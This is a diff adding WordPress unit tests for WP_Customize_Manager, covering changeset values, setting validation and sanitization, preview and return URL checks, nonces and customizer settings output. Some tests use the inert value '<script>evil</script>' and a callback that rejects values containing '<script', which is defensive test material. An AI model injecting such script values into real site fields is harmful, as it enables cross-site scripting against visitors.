+			'post_name' => $uuid,
+			'post_content' => wp_json_encode( $changeset_data ),
+		) );
+
+		$manager = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+		) );
+		$this->assertTrue( $manager->is_theme_active() );
+
+		$this->assertArrayNotHasKey( 'background_color', $manager->unsanitized_post_values() );
+
+		$this->assertEquals(
+			array(
+				'blogname' => 'Changeset Title',
+				'blogdescription' => 'Post Input Tagline',
+			),
+			$manager->unsanitized_post_values()
+		);
+		$this->assertEquals(
+			array(
+				'blogdescription' => 'Post Input Tagline',
+			),
+			$manager->unsanitized_post_values( array( 'exclude_changeset' => true ) )
+		);
+
+		$manager->set_post_value( 'blogdescription', 'Post Override Tagline' );
+		$this->assertEquals(
+			array(
+				'blogname' => 'Changeset Title',
+				'blogdescription' => 'Post Override Tagline',
+			),
+			$manager->unsanitized_post_values()
+		);
+
+		$this->assertEquals(
+			array(
+				'blogname' => 'Changeset Title',
+				'blogdescription' => 'Changeset Tagline',
+			),
+			$manager->unsanitized_post_values( array( 'exclude_post_data' => true ) )
+		);
+
+		$this->assertEmpty( $manager->unsanitized_post_values( array( 'exclude_post_data' => true, 'exclude_changeset' => true ) ) );
+
+		// Test unstashing theme mods.
+		$manager = new WP_Customize_Manager( array(
+			'changeset_uuid' => $uuid,
+			'theme' => $preview_theme,
+		) );
+		$this->assertFalse( $manager->is_theme_active() );
+		$values = $manager->unsanitized_post_values( array( 'exclude_post_data' => true, 'exclude_changeset' => true ) );
+		$this->assertNotEmpty( $values );
+		$this->assertArrayHasKey( 'background_color', $values );
+		$this->assertEquals( '#000000', $values['background_color'] );
+
+		$values = $manager->unsanitized_post_values( array( 'exclude_post_data' => false, 'exclude_changeset' => false ) );
+		$this->assertArrayHasKey( 'background_color', $values );
+		$this->assertArrayHasKey( 'blogname', $values );
+		$this->assertArrayHasKey( 'blogdescription', $values );
+	}
+
+	/**
+	 * Test the WP_Customize_Manager::post_value() method.
+	 *
+	 * @ticket 30988
+	 */
+	function test_post_value() {
+		wp_set_current_user( self::$admin_user_id );
+		$posted_settings = array(
+			'foo' => 'OOF',
+		);
+		$_POST['customized'] = wp_slash( wp_json_encode( $posted_settings ) );
+
+		$manager = $this->manager;
+
+		$manager->add_setting( 'foo', array( 'default' => 'foo_default' ) );
+		$foo_setting = $manager->get_setting( 'foo' );
+		$this->assertEquals( 'foo_default', $manager->get_setting( 'foo' )->value(), 'Expected non-previewed setting to return default when value() method called.' );
+		$this->assertEquals( $posted_settings['foo'], $manager->post_value( $foo_setting, 'post_value_foo_default' ), 'Expected post_value($foo_setting) to return value supplied in $_POST[customized][foo]' );
+
+		$manager->add_setting( 'bar', array( 'default' => 'bar_default' ) );
+		$bar_setting = $manager->get_setting( 'bar' );
+		$this->assertEquals( 'post_value_bar_default', $manager->post_value( $bar_setting, 'post_value_bar_default' ), 'Expected post_value($bar_setting, $default) to return $default since no value supplied in $_POST[customized][bar]' );
+	}
+
+	/**
+	 * Test the WP_Customize_Manager::post_value() method for a setting value that fails validation.
+	 *
+	 * @ticket 34893
+	 */
+	function test_invalid_post_value() {
+		wp_set_current_user( self::$admin_user_id );
+		$default_value = 'foo_default';
+		$setting = $this->manager->add_setting( 'foo', array(
+			'validate_callback' => array( $this, 'filter_customize_validate_foo' ),
+			'sanitize_callback' => array( $this, 'filter_customize_sanitize_foo' ),
+		) );
+		$this->assertEquals( $default_value, $this->manager->post_value( $setting, $default_value ) );
+		$this->assertEquals( $default_value, $setting->post_value( $default_value ) );
+
+		$post_value = 'bar';
+		$this->manager->set_post_value( 'foo', $post_value );
+		$this->assertEquals( strtoupper( $post_value ), $this->manager->post_value( $setting, $default_value ) );
+		$this->assertEquals( strtoupper( $post_value ), $setting->post_value( $default_value ) );
+
+		$this->manager->set_post_value( 'foo', 'return_wp_error_in_sanitize' );
+		$this->assertEquals( $default_value, $this->manager->post_value( $setting, $default_value ) );
+		$this->assertEquals( $default_value, $setting->post_value( $default_value ) );
+
+		$this->manager->set_post_value( 'foo', 'return_null_in_sanitize' );
+		$this->assertEquals( $default_value, $this->manager->post_value( $setting, $default_value ) );
+		$this->assertEquals( $default_value, $setting->post_value( $default_value ) );
+
+		$post_value = '<script>evil</script>';
+		$this->manager->set_post_value( 'foo', $post_value );
+		$this->assertEquals( $default_value, $this->manager->post_value( $setting, $default_value ) );
+		$this->assertEquals( $default_value, $setting->post_value( $default_value ) );
+	}
+
+	/**
+	 * Filter customize_validate callback.
+	 *
+	 * @param mixed $value Value.
+	 * @return string|WP_Error
+	 */
+	function filter_customize_sanitize_foo( $value ) {
+		if ( 'return_null_in_sanitize' === $value ) {
+			$value = null;
+		} elseif ( is_string( $value ) ) {
+			$value = strtoupper( $value );
+			if ( false !== stripos( $value, 'return_wp_error_in_sanitize' ) ) {
+				$value = new WP_Error( 'invalid_value_in_sanitize', __( 'Invalid value.' ), array( 'source' => 'filter_customize_sanitize_foo' ) );
+			}
+		}
+		return $value;
+	}
+
+	/**
+	 * Filter customize_validate callback.
+	 *
+	 * @param WP_Error $validity Validity.
+	 * @param mixed    $value    Value.
+	 * @return WP_Error
+	 */
+	function filter_customize_validate_foo( $validity, $value ) {
+		if ( false !== stripos( $value, '<script' ) ) {
+			$validity->add( 'invalid_value_in_validate', __( 'Invalid value.' ), array( 'source' => 'filter_customize_validate_foo' ) );
+		}
+		return $validity;
+	}
+
+	/**
+	 * Test the WP_Customize_Manager::post_value() method to make sure that the validation and sanitization are done in the right order.
+	 *
+	 * @ticket 37247
+	 */
+	function test_post_value_validation_sanitization_order() {
+		wp_set_current_user( self::$admin_user_id );
+		$default_value = '0';
+		$setting = $this->manager->add_setting( 'numeric', array(
+			'validate_callback' => array( $this, 'filter_customize_validate_numeric' ),
+			'sanitize_callback' => array( $this, 'filter_customize_sanitize_numeric' ),
+		) );
+		$this->assertEquals( $default_value, $this->manager->post_value( $setting, $default_value ) );
+		$this->assertEquals( $default_value, $setting->post_value( $default_value ) );
+
+		$post_value = '42';
+		$this->manager->set_post_value( 'numeric', $post_value );
+		$this->assertEquals( $post_value, $this->manager->post_value( $setting, $default_value ) );
+		$this->assertEquals( $post_value, $setting->post_value( $default_value ) );
+	}
+
+	/**
+	 * Filter customize_validate callback for a numeric value.
+	 *
+	 * @param mixed $value Value.
+	 * @return string|WP_Error
+	 */
+	function filter_customize_sanitize_numeric( $value ) {
+		return absint( $value );
+	}
+
+	/**
+	 * Filter customize_validate callback for a numeric value.
+	 *
+	 * @param WP_Error $validity Validity.
+	 * @param mixed    $value    Value.
+	 * @return WP_Error
+	 */
+	function filter_customize_validate_numeric( $validity, $value ) {
+		if ( ! is_string( $value ) || ! is_numeric( $value ) ) {
+			$validity->add( 'invalid_value_in_validate', __( 'Invalid value.' ), array( 'source' => 'filter_customize_validate_numeric' ) );
+		}
+		return $validity;
+	}
+
+	/**
+	 * Test WP_Customize_Manager::validate_setting_values().
+	 *
+	 * @see WP_Customize_Manager::validate_setting_values()
+	 */
+	function test_validate_setting_values() {
+		wp_set_current_user( self::$admin_user_id );
+		$setting = $this->manager->add_setting( 'foo', array(
+			'validate_callback' => array( $this, 'filter_customize_validate_foo' ),
+			'sanitize_callback' => array( $this, 'filter_customize_sanitize_foo' ),
+		) );
+
+		$post_value = 'bar';
+		$this->manager->set_post_value( 'foo', $post_value );
+		$validities = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
+		$this->assertCount( 1, $validities );
+		$this->assertEquals( array( 'foo' => true ), $validities );
+
+		$this->manager->set_post_value( 'foo', 'return_wp_error_in_sanitize' );
+		$invalid_settings = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
+		$this->assertCount( 1, $invalid_settings );
+		$this->assertArrayHasKey( $setting->id, $invalid_settings );
+		$this->assertInstanceOf( 'WP_Error', $invalid_settings[ $setting->id ] );
+		$error = $invalid_settings[ $setting->id ];
+		$this->assertEquals( 'invalid_value_in_sanitize', $error->get_error_code() );
+		$this->assertEquals( array( 'source' => 'filter_customize_sanitize_foo' ), $error->get_error_data() );
+
+		$this->manager->set_post_value( 'foo', 'return_null_in_sanitize' );
+		$invalid_settings = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
+		$this->assertCount( 1, $invalid_settings );
+		$this->assertArrayHasKey( $setting->id, $invalid_settings );
+		$this->assertInstanceOf( 'WP_Error', $invalid_settings[ $setting->id ] );
+		$this->assertNull( $invalid_settings[ $setting->id ]->get_error_data() );
+
+		$post_value = '<script>evil</script>';
+		$this->manager->set_post_value( 'foo', $post_value );
+		$invalid_settings = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
+		$this->assertCount( 1, $invalid_settings );
+		$this->assertArrayHasKey( $setting->id, $invalid_settings );
+		$this->assertInstanceOf( 'WP_Error', $invalid_settings[ $setting->id ] );
+		$error = $invalid_settings[ $setting->id ];
+		$this->assertEquals( 'invalid_value_in_validate', $error->get_error_code() );
+		$this->assertEquals( array( 'source' => 'filter_customize_validate_foo' ), $error->get_error_data() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::validate_setting_values().
+	 *
+	 * @ticket 37638
+	 * @covers WP_Customize_Manager::validate_setting_values()
+	 */
+	function test_late_validate_setting_values() {
+		$setting = new Test_Setting_Without_Applying_Validate_Filter( $this->manager, 'required' );
+		$this->manager->add_setting( $setting );
+
+		$this->assertInstanceOf( 'WP_Error', $setting->validate( '' ) );
+		$setting_validities = $this->manager->validate_setting_values( array( $setting->id => '' ) );
+		$this->assertInstanceOf( 'WP_Error', $setting_validities[ $setting->id ] );
+
+		$this->assertTrue( $setting->validate( 'ok' ) );
+		$setting_validities = $this->manager->validate_setting_values( array( $setting->id => 'ok' ) );
+		$this->assertTrue( $setting_validities[ $setting->id ] );
+
+		add_filter( "customize_validate_{$setting->id}", array( $this, 'late_validate_length' ), 10, 3 );
+		$this->assertTrue( $setting->validate( 'bad' ) );
+		$setting_validities = $this->manager->validate_setting_values( array( $setting->id => 'bad' ) );
+		$validity = $setting_validities[ $setting->id ];
+		$this->assertInstanceOf( 'WP_Error', $validity );
+		$this->assertEquals( 'minlength', $validity->get_error_code() );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::validate_setting_values().
+	 *
+	 * @ticket 30937
+	 * @covers WP_Customize_Manager::validate_setting_values()
+	 */
+	function test_validate_setting_values_args() {
+		wp_set_current_user( self::$admin_user_id );
+		$this->manager->register_controls();
+
+		$validities = $this->manager->validate_setting_values( array( 'unknown' => 'X' ) );
+		$this->assertEmpty( $validities );
+
+		$validities = $this->manager->validate_setting_values( array( 'unknown' => 'X' ), array( 'validate_existence' => false ) );
+		$this->assertEmpty( $validities );
+
+		$validities = $this->manager->validate_setting_values( array( 'unknown' => 'X' ), array( 'validate_existence' => true ) );
+		$this->assertNotEmpty( $validities );
+		$this->assertArrayHasKey( 'unknown', $validities );
+		$error = $validities['unknown'];
+		$this->assertInstanceOf( 'WP_Error', $error );
+		$this->assertEquals( 'unrecognized', $error->get_error_code() );
+
+		$this->manager->get_setting( 'blogname' )->capability = 'do_not_allow';
+		$validities = $this->manager->validate_setting_values( array( 'blogname' => 'X' ), array( 'validate_capability' => false ) );
+		$this->assertArrayHasKey( 'blogname', $validities );
+		$this->assertTrue( $validities['blogname'] );
+		$validities = $this->manager->validate_setting_values( array( 'blogname' => 'X' ), array( 'validate_capability' => true ) );
+		$this->assertArrayHasKey( 'blogname', $validities );
+		$error = $validities['blogname'];
+		$this->assertInstanceOf( 'WP_Error', $error );
+		$this->assertEquals( 'unauthorized', $error->get_error_code() );
+	}
+
+	/**
+	 * Add a length constraint to a setting.
+	 *
+	 * Adds minimum-length error code if the length is less than 10.
+	 *
+	 * @param WP_Error             $validity Validity.
+	 * @param mixed                $value    Value.
+	 * @param WP_Customize_Setting $setting  Setting.
+	 * @return WP_Error Validity.
+	 */
+	function late_validate_length( $validity, $value, $setting ) {
+		$this->assertInstanceOf( 'WP_Customize_Setting', $setting );
+		if ( strlen( $value ) < 10 ) {
+			$validity->add( 'minlength', '' );
+		}
+		return $validity;
+	}
+
+	/**
+	 * Test the WP_Customize_Manager::validate_setting_values() method to make sure that the validation and sanitization are done in the right order.
+	 *
+	 * @ticket 37247
+	 */
+	function test_validate_setting_values_validation_sanitization_order() {
+		wp_set_current_user( self::$admin_user_id );
+		$setting = $this->manager->add_setting( 'numeric', array(
+			'validate_callback' => array( $this, 'filter_customize_validate_numeric' ),
+			'sanitize_callback' => array( $this, 'filter_customize_sanitize_numeric' ),
+		) );
+		$post_value = '42';
+		$this->manager->set_post_value( 'numeric', $post_value );
+		$validities = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
+		$this->assertCount( 1, $validities );
+		$this->assertEquals( array( 'numeric' => true ), $validities );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::prepare_setting_validity_for_js().
+	 *
+	 * @see WP_Customize_Manager::prepare_setting_validity_for_js()
+	 */
+	function test_prepare_setting_validity_for_js() {
+		$this->assertTrue( $this->manager->prepare_setting_validity_for_js( true ) );
+		$error = new WP_Error();
+		$error->add( 'bad_letter', 'Bad letter', 'A' );
+		$error->add( 'bad_letter', 'Bad letra', 123 );
+		$error->add( 'bad_number', 'Bad number', array( 'number' => 123 ) );
+		$validity = $this->manager->prepare_setting_validity_for_js( $error );
+		$this->assertInternalType( 'array', $validity );
+		foreach ( $error->errors as $code => $messages ) {
+			$this->assertArrayHasKey( $code, $validity );
+			$this->assertInternalType( 'array', $validity[ $code ] );
+			$this->assertEquals( join( ' ', $messages ), $validity[ $code ]['message'] );
+			$this->assertArrayHasKey( 'data', $validity[ $code ] );
+			$this->assertEquals( $validity[ $code ]['data'], $error->get_error_data( $code ) );
+		}
+		$this->assertArrayHasKey( 'number', $validity['bad_number']['data'] );
+		$this->assertEquals( 123, $validity['bad_number']['data']['number'] );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::set_post_value().
+	 *
+	 * @see WP_Customize_Manager::set_post_value()
+	 */
+	function test_set_post_value() {
+		wp_set_current_user( self::$admin_user_id );
+		$this->manager->add_setting( 'foo', array(
+			'sanitize_callback' => array( $this, 'sanitize_foo_for_test_set_post_value' ),
+		) );
+		$setting = $this->manager->get_setting( 'foo' );
+
+		$this->assertEmpty( $this->captured_customize_post_value_set_actions );
+		add_action( 'customize_post_value_set', array( $this, 'capture_customize_post_value_set_actions' ), 10, 3 );
+		add_action( 'customize_post_value_set_foo', array( $this, 'capture_customize_post_value_set_actions' ), 10, 2 );
+		$this->manager->set_post_value( $setting->id, '123abc' );
+		$this->assertCount( 2, $this->captured_customize_post_value_set_actions );
+		$this->assertEquals( 'customize_post_value_set_foo', $this->captured_customize_post_value_set_actions[0]['action'] );
+		$this->assertEquals( 'customize_post_value_set', $this->captured_customize_post_value_set_actions[1]['action'] );
+		$this->assertEquals( array( '123abc', $this->manager ), $this->captured_customize_post_value_set_actions[0]['args'] );
+		$this->assertEquals( array( $setting->id, '123abc', $this->manager ), $this->captured_customize_post_value_set_actions[1]['args'] );
+
+		$unsanitized = $this->manager->unsanitized_post_values();
+		$this->assertArrayHasKey( $setting->id, $unsanitized );
+
+		$this->assertEquals( '123abc', $unsanitized[ $setting->id ] );
+		$this->assertEquals( 123, $setting->post_value() );
+	}
+
+	/**
+	 * Sanitize a value for Tests_WP_Customize_Manager::test_set_post_value().
+	 *
+	 * @see Tests_WP_Customize_Manager::test_set_post_value()
+	 *
+	 * @param mixed $value Value.
+	 * @return int Value.
+	 */
+	function sanitize_foo_for_test_set_post_value( $value ) {
+		return intval( $value );
+	}
+
+	/**
+	 * Store data coming from customize_post_value_set action calls.
+	 *
+	 * @see Tests_WP_Customize_Manager::capture_customize_post_value_set_actions()
+	 * @var array
+	 */
+	protected $captured_customize_post_value_set_actions = array();
+
+	/**
+	 * Capture the actions fired when calling WP_Customize_Manager::set_post_value().
+	 *
+	 * @see Tests_WP_Customize_Manager::test_set_post_value()
+	 */
+	function capture_customize_post_value_set_actions() {
+		$action = current_action();
+		$args = func_get_args();
+		$this->captured_customize_post_value_set_actions[] = compact( 'action', 'args' );
+	}
+
+	/**
+	 * Test the WP_Customize_Manager::add_dynamic_settings() method.
+	 *
+	 * @ticket 30936
+	 */
+	function test_add_dynamic_settings() {
+		$manager = $this->manager;
+		$setting_ids = array( 'foo', 'bar' );
+		$manager->add_setting( 'foo', array( 'default' => 'foo_default' ) );
+		$this->assertEmpty( $manager->get_setting( 'bar' ), 'Expected there to not be a bar setting up front.' );
+		$manager->add_dynamic_settings( $setting_ids );
+		$this->assertEmpty( $manager->get_setting( 'bar' ), 'Expected the bar setting to remain absent since filters not added.' );
+
+		$this->action_customize_register_for_dynamic_settings();
+		$manager->add_dynamic_settings( $setting_ids );
+		$this->assertNotEmpty( $manager->get_setting( 'bar' ), 'Expected bar setting to be created since filters were added.' );
+		$this->assertEquals( 'foo_default', $manager->get_setting( 'foo' )->default, 'Expected static foo setting to not get overridden by dynamic setting.' );
+		$this->assertEquals( 'dynamic_bar_default', $manager->get_setting( 'bar' )->default, 'Expected dynamic setting bar to have default providd by filter.' );
+	}
+
+	/**
+	 * Test WP_Customize_Manager::has_published_pages().
+	 *
+	 * @ticket 38013
+	 * @covers WP_Customize_Manager::has_published_pages()
+	 */
+	function test_has_published_pages() {
+		foreach ( get_pages() as $page ) {
+			wp_delete_post( $page->ID, true );
+		}
+		$this->assertFalse( $this->manager->has_published_pages() );
+
+		$this->factory()->post->create( array( 'post_type' => 'page', 'post_status' => 'private' ) );
+		$this->assertFalse( $this->manager->has_published_pages() );
+
+		$this->factory()->post->create( array( 'post_type' => 'page', 'post_status' => 'publish' ) );
+		$this->assertTrue( $this->manager->has_published_pages() );
+	}
+
+	/**
+	 * Ensure that page stubs created via nav menus will cause has_published_pages to return true.
+	 *
+	 * @ticket 38013
+	 * @covers WP_Customize_Manager::has_published_pages()
+	 */
+	function test_has_published_pages_when_nav_menus_created_posts() {
+		foreach ( get_pages() as $page ) {
+			wp_delete_post( $page->ID, true );
+		}
+		$this->assertFalse( $this->manager->has_published_pages() );
+
+		wp_set_current_user( self::$admin_user_id );
+		$this->manager->nav_menus->customize_register();
+		$setting_id = 'nav_menus_created_posts';
+		$setting = $this->manager->get_setting( $setting_id );
+		$this->assertInstanceOf( 'WP_Customize_Filter_Setting', $setting );
+		$auto_draft_page = $this->factory()->post->create( array( 'post_type' => 'page', 'post_status' => 'auto-draft' ) );
+		$this->manager->set_post_value( $setting_id, array( $auto_draft_page ) );
+		$setting->preview();
+		$this->assertTrue( $this->manager->has_published_pages() );
+	}
+
+	/**
+	 * Test the WP_Customize_Manager::register_dynamic_settings() method.
+	 *
+	 * This is similar to test_add_dynamic_settings, except the settings are passed via $_POST['customized'].
+	 *
+	 * @ticket 30936
+	 */
+	function test_register_dynamic_settings() {
+		wp_set_current_user( self::$admin_user_id );
+		$posted_settings = array(
+			'foo' => 'OOF',
+			'bar' => 'RAB',
+		);
+		$_POST['customized'] = wp_slash( wp_json_encode( $posted_settings ) );
+
+		add_action( 'customize_register', array( $this, 'action_customize_register_for_dynamic_settings' ) );
+
+		$manager = $this->manager;
+		$manager->add_setting( 'foo', array( 'default' => 'foo_default' ) );
+
+		$this->assertEmpty( $manager->get_setting( 'bar' ), 'Expected dynamic setting "bar" to not be registered.' );
+		do_action( 'customize_register', $manager );
+		$this->assertNotEmpty( $manager->get_setting( 'bar' ), 'Expected dynamic setting "bar" to be automatically registered after customize_register action.' );
+		$this->assertEmpty( $manager->get_setting( 'baz' ), 'Expected unrecognized dynamic setting "baz" to remain unregistered.' );
+	}
+
+	/**
+	 * In lieu of closures, callback for customize_register action added in test_register_dynamic_settings().
+	 */
+	function action_customize_register_for_dynamic_settings() {
+		add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_customize_dynamic_setting_args_for_test_dynamic_settings' ), 10, 2 );
+		add_filter( 'customize_dynamic_setting_class', array( $this, 'filter_customize_dynamic_setting_class_for_test_dynamic_settings' ), 10, 3 );
+	}
+
+	/**
+	 * In lieu of closures, callback for customize_dynamic_setting_args filter added for test_register_dynamic_settings().
+	 *
+	 * @param array  $setting_args Setting args.
+	 * @param string $setting_id   Setting ID.
+	 * @return array
+	 */
+	function filter_customize_dynamic_setting_args_for_test_dynamic_settings( $setting_args, $setting_id ) {
+		$this->assertInternalType( 'string', $setting_id );
+		if ( in_array( $setting_id, array( 'foo', 'bar' ) ) ) {
+			$setting_args = array( 'default' => "dynamic_{$setting_id}_default" );
+		}
+		return $setting_args;
+	}
+
+	/**
+	 * In lieu of closures, callback for customize_dynamic_setting_class filter added for test_register_dynamic_settings().
+	 *
+	 * @param string $setting_class Setting class.
+	 * @param string $setting_id    Setting ID.
+	 * @param array  $setting_args  Setting args.
+	 * @return string
+	 */
+	function filter_customize_dynamic_setting_class_for_test_dynamic_settings( $setting_class, $setting_id, $setting_args ) {
+		$this->assertEquals( 'WP_Customize_Setting', $setting_class );
+		$this->assertInternalType( 'string', $setting_id );
+		$this->assertInternalType( 'array', $setting_args );
+		return $setting_class;
+	}
+
+	/**
+	 * Test get_document_title_template() method.
+	 *
+	 * @see WP_Customize_Manager::get_document_title_template()
+	 */
+	function test_get_document_title_template() {
+		$tpl = $this->manager->get_document_title_template();
+		$this->assertContains( '%s', $tpl );
+	}
+
+	/**
+	 * Test get_preview_url()/set_preview_url methods.
+	 *
+	 * @see WP_Customize_Manager::get_preview_url()
+	 * @see WP_Customize_Manager::set_preview_url()
+	 */
+	function test_preview_url() {
+		$this->assertEquals( home_url( '/' ), $this->manager->get_preview_url() );
+		$preview_url = home_url( '/foo/bar/baz/' );
+		$this->manager->set_preview_url( $preview_url );
+		$this->assertEquals( $preview_url, $this->manager->get_preview_url() );
+		$this->manager->set_preview_url( 'http://illegalsite.example.com/food/' );
+		$this->assertEquals( home_url( '/' ), $this->manager->get_preview_url() );
+	}
+
+	/**
+	 * Test get_return_url()/set_return_url() methods.
+	 *
+	 * @see WP_Customize_Manager::get_return_url()
+	 * @see WP_Customize_Manager::set_return_url()
+	 */
+	function test_return_url() {
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'author' ) ) );
+		$this->assertEquals( home_url( '/' ), $this->manager->get_return_url() );
+
+		wp_set_current_user( self::$admin_user_id );
+		$this->assertTrue( current_user_can( 'edit_theme_options' ) );
+		$this->assertEquals( home_url( '/' ), $this->manager->get_return_url() );
+
+		$preview_url = home_url( '/foo/' );
+		$this->manager->set_preview_url( $preview_url );
+		$this->assertEquals( $preview_url, $this->manager->get_return_url() );
+
+		$_SERVER['HTTP_REFERER'] = wp_slash( admin_url( 'customize.php' ) );
+		$this->assertEquals( $preview_url, $this->manager->get_return_url() );
+
+		// See #35355.
+		$_SERVER['HTTP_REFERER'] = wp_slash( admin_url( 'wp-login.php' ) );
+		$this->assertEquals( $preview_url, $this->manager->get_return_url() );
+
+		$url = home_url( '/referred/' );
+		$_SERVER['HTTP_REFERER'] = wp_slash( $url );
+		$this->assertEquals( $url, $this->manager->get_return_url() );
+
+		$url = 'http://badreferer.example.com/';
+		$_SERVER['HTTP_REFERER'] = wp_slash( $url );
+		$this->assertNotEquals( $url, $this->manager->get_return_url() );
+		$this->assertEquals( $preview_url, $this->manager->get_return_url() );
+
+		$this->manager->set_return_url( admin_url( 'edit.php?trashed=1' ) );
+		$this->assertEquals( admin_url( 'edit.php' ), $this->manager->get_return_url() );
+	}
+
+	/**
+	 * Test get_autofocus()/set_autofocus() methods.
+	 *
+	 * @see WP_Customize_Manager::get_autofocus()
+	 * @see WP_Customize_Manager::set_autofocus()
+	 */
+	function test_autofocus() {
+		$this->assertEmpty( $this->manager->get_autofocus() );
+
+		$this->manager->set_autofocus( array( 'unrecognized' => 'food' ) );
+		$this->assertEmpty( $this->manager->get_autofocus() );
+
+		$autofocus = array( 'control' => 'blogname' );
+		$this->manager->set_autofocus( $autofocus );
+		$this->assertEquals( $autofocus, $this->manager->get_autofocus() );
+
+		$autofocus = array( 'section' => 'colors' );
+		$this->manager->set_autofocus( $autofocus );
+		$this->assertEquals( $autofocus, $this->manager->get_autofocus() );
+
+		$autofocus = array( 'panel' => 'widgets' );
+		$this->manager->set_autofocus( $autofocus );
+		$this->assertEquals( $autofocus, $this->manager->get_autofocus() );
+
+		$autofocus = array( 'control' => array( 'blogname', 'blogdescription' ) );
+		$this->manager->set_autofocus( $autofocus );
+		$this->assertEmpty( $this->manager->get_autofocus() );
+	}
+
+	/**
+	 * Test get_nonces() method.
+	 *
+	 * @see WP_Customize_Manager::get_nonces()
+	 */
+	function test_nonces() {
+		$nonces = $this->manager->get_nonces();
+		$this->assertInternalType( 'array', $nonces );
+		$this->assertArrayHasKey( 'save', $nonces );
+		$this->assertArrayHasKey( 'preview', $nonces );
+
+		add_filter( 'customize_refresh_nonces', array( $this, 'filter_customize_refresh_nonces' ), 10, 2 );
+		$nonces = $this->manager->get_nonces();
+		$this->assertArrayHasKey( 'foo', $nonces );
+		$this->assertEquals( wp_create_nonce( 'foo' ), $nonces['foo'] );
+	}
+
+	/**
+	 * Filter for customize_refresh_nonces.
+	 *
+	 * @param array                $nonces  Nonces.
+	 * @param WP_Customize_Manager $manager Manager.
+	 * @return array Nonces.
+	 */
+	function filter_customize_refresh_nonces( $nonces, $manager ) {
+		$this->assertInstanceOf( 'WP_Customize_Manager', $manager );
+		$nonces['foo'] = wp_create_nonce( 'foo' );
+		return $nonces;
+	}
+
+	/**
+	 * Test customize_pane_settings() method.
+	 *
+	 * @see WP_Customize_Manager::customize_pane_settings()
+	 */
+	function test_customize_pane_settings() {
+		wp_set_current_user( self::$admin_user_id );
+		$this->manager->register_controls();
+		$this->manager->prepare_controls();
+		$autofocus = array( 'control' => 'blogname' );
+		$this->manager->set_autofocus( $autofocus );
+
+		ob_start();
+		$this->manager->customize_pane_settings();
+		$content = ob_get_clean();
+
+		$this->assertContains( 'var _wpCustomizeSettings =', $content );
+		$this->assertContains( '"blogname"', $content );
+		$this->assertContains( '"type":"option"', $content );
+		$this->assertContains( '_wpCustomizeSettings.controls', $content );
+		$this->assertContains( '_wpCustomizeSettings.settings', $content );
+		$this->assertContains( '</script>', $content );
+
+		$this->assertNotEmpty( preg_match( '#var _wpCustomizeSettings\s*=\s*({.*?});\s*\n#', $content, $matches ) );
+		$json = $matches[1];
+		$data = json_decode( $json, true );
+		$this->assertNotEmpty( $data );
+
+		$this->assertEqualSets( array( 'theme', 'url', 'browser', 'panels', 'sections', 'nonce', 'autofocus', 'documentTitleTmpl', 'previewableDevices', 'changeset', 'timeouts', 'dateFormat', 'timeFormat', 'initialClientTimestamp', 'initialServerDate', 'initialServerTimestamp', 'l10n' ), array_keys( $data ) );
+		$this->assertEquals( $autofocus, $data['autofocus'] );
+		$this->assertArrayHasKey( 'save', $data['nonce'] );
+		$this->assertArrayHasKey( 'preview', $data['nonce'] );
+
+		$this->assertEqualSets(
+			array(
+				'branching',
+				'autosaved',
+				'hasAutosaveRevision',
+				'latestAutoDraftUuid',
+				'status',
+				'uuid',
+				'currentUserCanPublish',
+				'publishDate',
+				'statusChoices',
+				'lockUser',
+			),
+			array_keys( $data['changeset'] )
+		);
+	}
+
+	/**
+	 * Test remove_frameless_preview_messenger_channel.
+	 *
+	 * @ticket 38867
+	 * @covers WP_Customize_Manager::remove_frameless_preview_messenger_channel()
+	 */
+	function test_remove_frameless_preview_messenger_channel() {
+		wp_set_current_user( self::$admin_user_id );
+		$manager = new WP_Customize_Manager( array( 'messenger_channel' => null ) );
+		ob_start();
+		$manager->remove_frameless_preview_messenger_channel();
+		$output = ob_get_clean();
+		$this->assertEmpty( $output );
+
+		$manager = new WP_Customize_Manager( array( 'messenger_channel' => 'preview-0' ) );
+		ob_start();
+		$manager->remove_frameless_preview_messenger_channel();
+		$output = ob_get_clean();
+		$this->assertContains( '<script>', $output );
+	}
+
+	/**
+	 * Test customize_preview_settings() method.
+	 *
+	 * @see WP_Customize_Manager::customize_preview_settings()
+	 */
+	function test_customize_preview_settings() {
+		wp_set_current_user( self::$admin_user_id );
+		$this->manager->register_controls();
+		$this->manager->prepare_controls();
+		$this->manager->set_post_value( 'foo', 'bar' );
+		$_POST['customize_messenger_channel'] = 'preview-0';
+
+		ob_start();
+		$this->manager->customize_preview_settings();
+		$content = ob_get_clean();
+
+		$this->assertEquals( 1, preg_match( '/var _wpCustomizeSettings = ({.+});/', $content, $matches ) );
+		$settings = json_decode( $matches[1], true );
+
+		$this->assertArrayHasKey( 'theme', $settings );
+		$this->assertArrayHasKey( 'url', $settings );
+		$this->assertArrayHasKey( 'channel', $settings );
+		$this->assertArrayHasKey( 'activePanels', $settings );
+		$this->assertArrayHasKey( 'activeSections', $settings );
+		$this->assertArrayHasKey( 'activeControls', $settings );
+		$this->assertArrayHasKey( 'settingValidities', $settings );
+		$this->assertArrayHasKey( 'nonce', $settings );
+		$this->assertArrayHasKey( '_dirty', $settings );
+		$this->assertArrayHasKey( 'timeouts', $settings );
+		$this->assertArrayHasKey( 'changeset', $settings );
+
+		$this->assertArrayHasKey( 'preview', $settings['nonce'] );
+	}
+
+	/**
+	 * @ticket 33552
+	 */
+	function test_customize_loaded_components_filter() {
+		$manager = new WP_Customize_Manager();
+		$this->assertInstanceOf( 'WP_Customize_Widgets', $manager->widgets );
+		$this->assertInstanceOf( 'WP_Customize_Nav_Menus', $manager->nav_menus );
+
+		add_filter( 'customize_loaded_components', array( $this, 'return_array_containing_widgets' ), 10, 2 );
+		$manager = new WP_Customize_Manager();
+		$this->assertInstanceOf( 'WP_Customize_Widgets', $manager->widgets );
+		$this->assertEmpty( $manager->nav_menus );
+		remove_all_filters( 'customize_loaded_components' );
+
+		add_filter( 'customize_loaded_components', array( $this, 'return_array_containing_nav_menus' ), 10, 2 );
